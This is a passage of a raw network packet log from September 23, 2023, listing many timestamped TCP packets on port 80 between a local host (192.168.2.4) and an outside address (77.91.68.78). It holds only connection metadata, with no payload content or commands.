Sep 23, 2023 17:53:29.139009953 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.139056921 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.139076948 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.139116049 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.139288902 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.139328003 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.139384031 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.139425993 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.139492989 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.139533043 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.454376936 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.454410076 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.454427004 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.454447985 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.454514980 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.454524994 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.454572916 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.454572916 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.454572916 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.454572916 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.454683065 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.454715967 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.454734087 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.455394983 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.455446005 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.456566095 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.456614017 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.456644058 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.456681967 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.456696987 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.456718922 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.456732035 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.456767082 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.456789017 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.456825972 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.456836939 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.456872940 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.456893921 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.456940889 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457025051 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457075119 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457382917 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457434893 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457571983 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457623959 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457644939 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457681894 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457699060 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457739115 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457751036 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457791090 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457802057 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457825899 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457839012 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457863092 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457875967 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457911968 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.457931995 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457968950 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.457982063 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458018064 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458127022 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458163977 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458215952 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458215952 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458235979 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458283901 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458306074 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458343983 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458352089 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458393097 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458441973 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458477974 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458492994 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458528996 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458548069 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458596945 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458616972 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458657026 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458673954 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458693981 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.458702087 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.458739996 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459032059 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459079027 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459150076 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459194899 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459234953 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459284067 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459323883 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459372044 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459381104 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459441900 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459453106 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459498882 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459508896 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459556103 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459566116 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459595919 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459614038 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459635973 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459650993 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459697962 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459707975 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459737062 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459755898 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459777117 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.459867001 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.459918022 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.773608923 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.773679018 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.773699045 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.773760080 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.773838997 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.773890972 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.773920059 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.773973942 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.774007082 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.774046898 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.774076939 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.774106026 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.774388075 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.774429083 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.774452925 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.774492025 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.776478052 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.776531935 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.776650906 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.776695013 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.776807070 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.776848078 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.776849031 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.776887894 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777120113 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777219057 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777257919 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777276993 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777314901 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777327061 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777369022 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777390003 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777431965 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777498960 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777539968 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777546883 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777585983 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777600050 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777631998 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777637959 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777668953 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777693987 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777734041 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777741909 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777781963 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777801037 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777839899 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777865887 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777915955 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.777937889 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.777978897 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.778060913 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.778101921 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.778103113 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.778120041 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.778140068 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.778157949 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.778183937 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.778227091 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.778254032 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.778299093 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.778317928 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.778361082 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.778565884 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.778609991 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.778644085 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.778676033 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.778685093 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.778716087 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.779623032 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.779670000 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.779712915 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.779755116 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.779838085 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.779880047 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.780010939 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.780054092 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.780056000 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.780092955 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.780132055 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.780179024 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.780239105 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.780282974 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.780349016 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.780388117 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.780535936 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.780580044 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.780647039 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.780688047 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.780972004 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.781013012 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.781030893 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.781090021 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.781141043 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.781194925 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.781234026 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.781277895 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.781284094 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.781325102 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093015909 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093035936 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093055010 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093070984 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093077898 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093087912 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093103886 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093113899 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093116045 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093136072 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093136072 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093159914 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093164921 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093199968 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093231916 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093267918 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093303919 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093341112 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093342066 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093384027 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093404055 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093450069 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093475103 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093517065 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093622923 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093662024 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093732119 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093750000 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093775034 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093790054 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093813896 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093851089 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093877077 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093914986 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.093955040 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093991995 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.093991995 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094027996 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094041109 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094077110 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094095945 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094131947 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094146967 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094182014 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094208956 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094249964 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094260931 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094276905 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094299078 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094310999 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094340086 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094376087 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094397068 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094435930 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094575882 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094593048 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094615936 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094629049 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094670057 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094703913 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094707966 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094741106 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094764948 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094801903 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094829082 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094887972 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094897032 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.094934940 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.094958067 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095005989 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095031023 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095072031 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095098972 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095138073 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095155001 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095192909 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095207930 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095247030 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095262051 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095300913 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095346928 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095388889 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095396996 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095433950 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095459938 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095499039 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095515966 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095552921 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095638037 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095675945 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095689058 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095705986 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095726013 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095743895 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095772982 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095808983 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095813990 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095849037 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095873117 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095906973 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095922947 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.095957994 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.095978022 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096014023 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096031904 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096066952 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096106052 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096138954 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096190929 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096229076 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096254110 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096288919 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096297979 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096333027 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096350908 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096388102 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096450090 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096486092 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096630096 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096668005 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096749067 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096782923 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096807957 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.096843004 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.096868038 CEST	80	49816	77.91.68.78	192.168.2.4
